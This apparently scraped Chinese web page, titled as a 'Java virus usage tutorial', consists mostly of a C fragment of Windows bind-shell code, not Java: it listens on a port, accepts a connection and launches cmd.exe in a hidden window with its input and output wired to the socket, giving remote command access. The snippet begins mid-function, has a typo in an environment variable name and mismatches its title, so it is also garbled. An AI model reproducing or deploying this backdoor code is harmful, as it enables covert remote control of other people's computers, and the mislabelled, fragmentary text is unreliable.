当前位置:网站首页 > Java基础 > 正文

java病毒使用教程



//分配内存,初始化数据         ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));         ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));         ZeroMemory(&WSADa,sizeof(WSADATA));

        //获取cmd路径         GetEnvironmentVariable(COMSPEG,szCMDPath,sizeof(szCMDPath));

        //加载ws2_32.dll         WSAStartup(0x0202,&WSADa);

        //设置本地信息和绑定协议,建立socket,代码如下:         SockAddrIn.sin_family = AF_INET;         SockAddrIn.sin_addr.s_addr = INADDR_ANY;         SockAddrIn.sin_port = htons(MasterPort);         CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

        //设置绑定端口999         bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));

        //设置服务器端监听端口         listen(CSocket,1);         iAddrSize = sizeof(SockAddrIn);

        //开始连接远程服务器,并配置隐藏窗口结构体         SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);

        StartupInfo.cb = sizeof(STARTUPINFO);

        StartupInfo.wShowWindow = SW_HIDE;                  StartupInfo.dwFlags = STARTF_USESTDHANDLES |

        STARTF_USESHOWWINDOW;

        StartupInfo.hStdInput = (HANDLE)SSocket;

        StartupInfo.hStdOutput = (HANDLE)SSocket;

        StartupInfo.hStdError = (HANDLE)SSocket;                  //创建匿名管道:         CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

        WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

        CloseHandle(ProcessInfo.hProcess);

        CloseHandle(ProcessInfo.hThread);

        //关闭进程句柄:         closesocket(CSocket);

        closesocket(SSocket);

        WSACleanup();

          //关闭连接卸载ws2_32.dll         return 0;

        }         

版权声明


相关文章:

  • java程序设计与应用教程 pdf2025-10-26 10:58:05
  • java离线教程2025-10-26 10:58:05
  • java 1.8教程2025-10-26 10:58:05
  • java 博客开发教程2025-10-26 10:58:05
  • java130教程2025-10-26 10:58:05
  • java activemq教程2025-10-26 10:58:05
  • java 菜鸟视频教程2025-10-26 10:58:05
  • java web 教程 知乎2025-10-26 10:58:05
  • 我要java教程2025-10-26 10:58:05
  • java社区教程2025-10-26 10:58:05